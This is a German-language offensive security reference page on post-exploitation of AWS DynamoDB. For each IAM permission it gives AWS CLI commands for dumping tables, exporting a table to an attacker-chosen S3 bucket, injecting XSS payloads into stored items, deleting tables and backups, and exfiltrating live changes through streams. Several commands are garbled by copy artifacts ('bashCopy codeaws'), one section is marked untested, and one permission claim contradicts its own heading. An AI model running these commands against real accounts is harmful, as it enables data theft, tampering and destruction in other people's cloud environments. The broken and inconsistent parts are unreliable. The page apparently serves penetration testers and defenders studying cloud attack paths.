# AWS - DynamoDB Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## DynamoDB

Für weitere Informationen siehe:

{{#ref}}
../aws-services/aws-dynamodb-enum.md
{{#endref}}

### `dynamodb:BatchGetItem`

Ein Angreifer mit diesen Berechtigungen kann **Elemente aus Tabellen anhand des Primärschlüssels abrufen** (man kann nicht einfach nach allen Daten der Tabelle fragen). Das bedeutet, dass man die Primärschlüssel kennen muss (man kann dies durch Abrufen der Tabellenmetadaten (`describe-table`) erhalten).

{{#tabs }}
{{#tab name="json file" }}
```bash
aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}
```
{{#endtab }}

{{#tab name="inline" }}
```bash
aws dynamodb batch-get-item \
--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
--region <region>
```
{{#endtab }}
{{#endtabs }}

**Potenzielle Auswirkungen:** Indirekte Privilegieneskalation durch das Auffinden sensibler Informationen in der Tabelle

### `dynamodb:GetItem`

**Ähnlich wie die vorherigen Berechtigungen** erlaubt diese einem potenziellen Angreifer, Werte aus nur 1 Tabelle zu lesen, wenn der Primärschlüssel des abzurufenden Eintrags bekannt ist:
```json
aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
"N": "205"
}
}
```
Mit dieser Berechtigung ist es auch möglich, die **`transact-get-items`** Methode wie folgt zu verwenden:
```json
aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json

// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]
```
**Potenzielle Auswirkungen:** Indirekte Privilegieneskalation durch das Auffinden sensibler Informationen in der Tabelle

### `dynamodb:Query`

**Ähnlich wie die vorherigen Berechtigungen** erlaubt diese einem potenziellen Angreifer, Werte aus nur 1 Tabelle zu lesen, wenn der Primärschlüssel des abzurufenden Eintrags bekannt ist. Es erlaubt die Verwendung einer [Teilmenge von Vergleichen](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), aber der einzige erlaubte Vergleich mit dem Primärschlüssel (der erscheinen muss) ist "EQ", sodass Sie keinen Vergleich verwenden können, um die gesamte DB in einer Anfrage abzurufen.

{{#tabs }}
{{#tab name="json file" }}
```bash
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}
```
{{#endtab }}

{{#tab name="inline" }}
```bash
aws dynamodb query \
--table-name TargetTable \
--key-condition-expression "AttributeName = :value" \
--expression-attribute-values '{":value":{"S":"TargetValue"}}' \
--region <region>
```
{{#endtab }}
{{#endtabs }}

**Potenzielle Auswirkungen:** Indirekte Privilegieneskalation durch das Auffinden sensibler Informationen in der Tabelle

### `dynamodb:Scan`

Sie können diese Berechtigung verwenden, um **die gesamte Tabelle einfach zu dumpen**.
```bash
aws dynamodb scan --table-name <t_name> #Get data inside the table
```
**Potenzielle Auswirkungen:** Indirekte Privilegieneskalation durch das Auffinden sensibler Informationen in der Tabelle

### `dynamodb:PartiQLSelect`

Sie können diese Berechtigung verwenden, um **die gesamte Tabelle einfach zu dumpen**.
```bash
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
```
Diese Berechtigung erlaubt auch die Ausführung von `batch-execute-statement` wie:
```bash
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
```
aber Sie müssen den Primärschlüssel mit einem Wert angeben, sodass es nicht so nützlich ist.

**Potenzielle Auswirkungen:** Indirekte Privilegieneskalation durch Auffinden sensibler Informationen in der Tabelle

### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`

Diese Berechtigung ermöglicht es einem Angreifer, **die gesamte Tabelle in einen S3-Bucket** seiner Wahl zu exportieren:
```bash
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>
```
Beachten Sie, dass für das Funktionieren dies die Punkt-in-Zeit-Wiederherstellung für die Tabelle aktiviert sein muss. Sie können überprüfen, ob die Tabelle dies hat mit:
```bash
aws dynamodb describe-continuous-backups \
--table-name <tablename>
```
Wenn es nicht aktiviert ist, müssen Sie es **aktivieren** und dafür benötigen Sie die **`dynamodb:ExportTableToPointInTime`** Berechtigung:
```bash
aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
```
**Potenzielle Auswirkungen:** Indirekte Privilegieneskalation durch das Auffinden sensibler Informationen in der Tabelle

### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`

Mit diesen Berechtigungen wäre ein Angreifer in der Lage, **eine neue Tabelle aus einem Backup zu erstellen** (oder sogar ein Backup zu erstellen, um es dann in einer anderen Tabelle wiederherzustellen). Dann könnte er, mit den notwendigen Berechtigungen, **Informationen** aus den Backups überprüfen, die **nicht mehr in der Produktion** Tabelle vorhanden sein könnten.
```bash
aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>
```
**Potenzielle Auswirkungen:** Indirekte Privilegieneskalation durch das Auffinden sensibler Informationen im Tabellen-Backup

### `dynamodb:PutItem`

Diese Berechtigung erlaubt es Benutzern, ein **neues Element zur Tabelle hinzuzufügen oder ein vorhandenes Element** durch ein neues Element zu ersetzen. Wenn ein Element mit dem gleichen Primärschlüssel bereits existiert, wird das **gesamte Element durch das neue Element ersetzt**. Wenn der Primärschlüssel nicht existiert, wird ein neues Element mit dem angegebenen Primärschlüssel **erstellt**.

{{#tabs }}
{{#tab name="XSS Example" }}
```bash
## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}
```
{{#endtab }}

{{#tab name="AI Beispiel" }}
```bash
aws dynamodb put-item \
--table-name ExampleTable \
--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \
--region <region>
```
{{#endtab }}
{{#endtabs }}

**Potenzielle Auswirkungen:** Ausnutzung weiterer Schwachstellen/Umgehungen durch die Möglichkeit, Daten in einer DynamoDB-Tabelle hinzuzufügen/zu ändern

### `dynamodb:UpdateItem`

Diese Berechtigung ermöglicht es Benutzern, **die vorhandenen Attribute eines Elements zu ändern oder neue Attribute zu einem Element hinzuzufügen**. Es **ersetzt nicht** das gesamte Element; es aktualisiert nur die angegebenen Attribute. Wenn der Primärschlüssel nicht in der Tabelle vorhanden ist, wird die Operation **ein neues Element** mit dem angegebenen Primärschlüssel erstellen und die im Aktualisierungsausdruck angegebenen Attribute festlegen.

{{#tabs }}
{{#tab name="XSS Example" }}
```bash
## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}
```
{{#endtab }}

{{#tab name="AI Beispiel" }}
```bash
aws dynamodb update-item \
--table-name ExampleTable \
--key '{"Id": {"S": "1"}}' \
--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
--region <region>
```
{{#endtab }}
{{#endtabs }}

**Potenzielle Auswirkungen:** Ausnutzung weiterer Schwachstellen/Umgehungen durch die Möglichkeit, Daten in einer DynamoDB-Tabelle hinzuzufügen/zu ändern.

### `dynamodb:DeleteTable`

Ein Angreifer mit dieser Berechtigung kann **eine DynamoDB-Tabelle löschen, was zu Datenverlust führt**.
```bash
aws dynamodb delete-table \
--table-name TargetTable \
--region <region>
```
**Potenzielle Auswirkungen**: Datenverlust und Unterbrechung von Diensten, die auf der gelöschten Tabelle basieren.

### `dynamodb:DeleteBackup`

Ein Angreifer mit dieser Berechtigung kann **ein DynamoDB-Backup löschen, was potenziell zu Datenverlust im Falle eines Katastrophenwiederherstellungsszenarios führen kann**.
```bash
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>
```
**Potenzielle Auswirkungen**: Datenverlust und Unfähigkeit, sich während eines Katastrophenwiederherstellungsszenarios von einem Backup zu erholen.

### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`

> [!HINWEIS]
> TODO: Testen, ob das tatsächlich funktioniert

Ein Angreifer mit diesen Berechtigungen kann **einen Stream auf einer DynamoDB-Tabelle aktivieren, die Tabelle aktualisieren, um mit dem Streaming von Änderungen zu beginnen, und dann auf den Stream zugreifen, um Änderungen an der Tabelle in Echtzeit zu überwachen**. Dies ermöglicht es dem Angreifer, Datenänderungen zu überwachen und zu exfiltrieren, was potenziell zu einem Datenleck führen kann.

1. Aktivieren Sie einen Stream auf einer DynamoDB-Tabelle:
```bash
bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
```
2. Beschreiben Sie den Stream, um die ARN und andere Details zu erhalten:
```bash
bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
```
3. Holen Sie sich den Shard-Iterator mit der Stream-ARN:
```bash
bashCopy codeaws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
```
4. Verwenden Sie den Shard-Iterator, um auf die Daten im Stream zuzugreifen und sie zu exfiltrieren:
```bash
bashCopy codeaws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>
```
**Potenzielle Auswirkungen**: Echtzeitüberwachung und Datenleckage der Änderungen der DynamoDB-Tabelle. 

{{#include ../../../banners/hacktricks-training.md}}